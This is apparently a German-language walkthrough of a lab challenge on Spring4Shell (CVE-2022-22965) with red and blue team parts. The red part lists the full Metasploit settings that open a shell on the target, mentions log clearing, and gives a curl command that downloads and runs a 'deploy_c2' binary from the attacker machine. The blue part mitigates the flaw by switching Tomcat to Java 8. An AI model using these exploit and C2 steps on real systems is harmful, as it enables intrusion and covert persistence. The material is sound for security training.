Schritt-für-Schritt-Anleitung zur Ausnutzung von CVE-2022-22965 (Spring4Shell) mit Metasploit, Bereitstellung eines C2-Listeners und Eindämmung der Schwachstelle durch Downgrade auf Java 8 auf einem Tomcat-Server.
Dieser Walkthrough dokumentiert den Abschluss der Sandbox Challenge, die sich auf CVE-2022-22965 konzentriert, allgemein bekannt als Spring4Shell – eine kritische (CVSS 9.8/10) Remote-Code-Ausführungs-Sicherheitslücke, die bestimmte Versionen des Spring Java-Frameworks betrifft. Die Challenge deckt sowohl offensive (Red Team) als auch defensive (Blue Team) Perspektiven der Sicherheitslücke ab.
Hinweis: Befehle und Dateipfade in diesem Walkthrough spiegeln die spezifische Umgebung wider, die bei diesem Versuch verwendet wurde. Ihre Umgebung kann abweichen – passen Sie Pfade, IP-Adressen und Dateinamen entsprechend an.
| Maschine | IP-Adresse | Rolle |
|---|
| Security-Desk (Kali Linux) | 172.16.200.12 | Angriffs- und Arbeitsmaschine |
| Rotes Ziel (Linux) | 172.16.100.90 | Ausbeutungsziel |
| Blaues Ziel (Linux) | 172.16.100.100 | Härtungsziel |
Anmeldedaten: playerone / password123
Überprüfte den Reiter Netzwerkkarte im Challenge-Panel, um die IP des roten Ziels (172.16.100.90) zu bestätigen. Verwendete curl, um die auf Port 80 laufende Webanwendung zu inspizieren:
curl http://172.16.100.90
Die Ausgabe zeigte Apache Tomcat 9.0.59 mit einer Weiterleitung nach /dasmsp. Durchsuchte den Seitenquelltext, um einen POST-Formular-Endpunkt unter /dasmsp/contact zu identifizieren.
msfconsole
use exploit/multi/http/spring_framework_rce_spring4shell
set RHOSTS 172.16.100.90
set LHOST 172.16.200.12
set RPORT 80
set TARGETURI /dasmsp/contact
set PAYLOAD_PATH webapps/ROOT
set HTTP_METHOD POST
set ForceExploit true
run
Der Exploit erzeugte erfolgreich eine JSP-Shell, modifizierte den Class Loader, leerte die Logdatei und öffnete eine Befehls-Shell-Sitzung auf dem roten Ziel.
Nachdem die Sitzung geöffnet wurde, gab shell ein, um auf eine interaktive Shell zu wechseln. Metasploit fand /usr/bin/script auf dem Ziel und verwendete es, um eine interaktive Shell als Benutzer tomcat zu öffnen.
Die Binärdatei deploy_c2 befand sich auf dem Security-Desk, nicht auf dem roten Ziel. HOST-Server mittels Python3 HTTP-Server auf dem Security-Desk:
cd /home/playerone/Desktop/Resources/
python3 -m http.server 8080
Heruntergeladen und ausgeführt innerhalb der Shell-Sitzung des roten Ziels:
curl http://172.16.200.12:8080/deploy_c2 -o /tmp/deploy_c2
chmod +x /tmp/deploy_c2
/tmp/deploy_c2
Ausgabe bestätigte: Done! – C2-Listener erfolgreich auf dem roten Ziel bereitgestellt.
Vom Security-Desk-Terminal aus:
Passwort: password123
Die Java 8 .deb-Pakete befanden sich auf dem Security-Desk unter /home/playerone/Desktop/Resources/. Übertragen Sie sie mit SCP von einem Security-Desk-Terminal zum blauen Ziel:
scp /home/playerone/Desktop/Resources/*.deb [email protected]:/tmp/
Übertragene Pakete:
In der SSH-Sitzung des blauen Ziels:
sudo dpkg -i /tmp/*.deb
Aufgrund eines bekannten Problems in der Challenge wird die Überprüfung nicht korrekt registriert, ohne Java 8 manuell als Standard zu setzen:
sudo update-alternatives --config java
Wählte Option 2 — /usr/lib/jvm/temurin-8-jdk-amd64/bin/java.
Inspizierte die Tomcat-Dienst-Unit-Datei:
cat /etc/systemd/system/tomcat.service
Bearbeitete die Datei, um die Umgebungsvariable JAVA_HOME zu aktualisieren:
sudo nano /etc/systemd/system/tomcat.service
Geändert:
Environment="JAVA_HOME=/usr"
Zu:
Environment="JAVA_HOME=/usr/lib/jvm/temurin-8-jdk-amd64"
sudo systemctl daemon-reload
sudo systemctl restart tomcat
Die Überprüfung 'CVE-2022-22965 entschärft auf blauem Ziel' wurde im Challenge-Panel grün.
spring_framework_rce_spring4shell)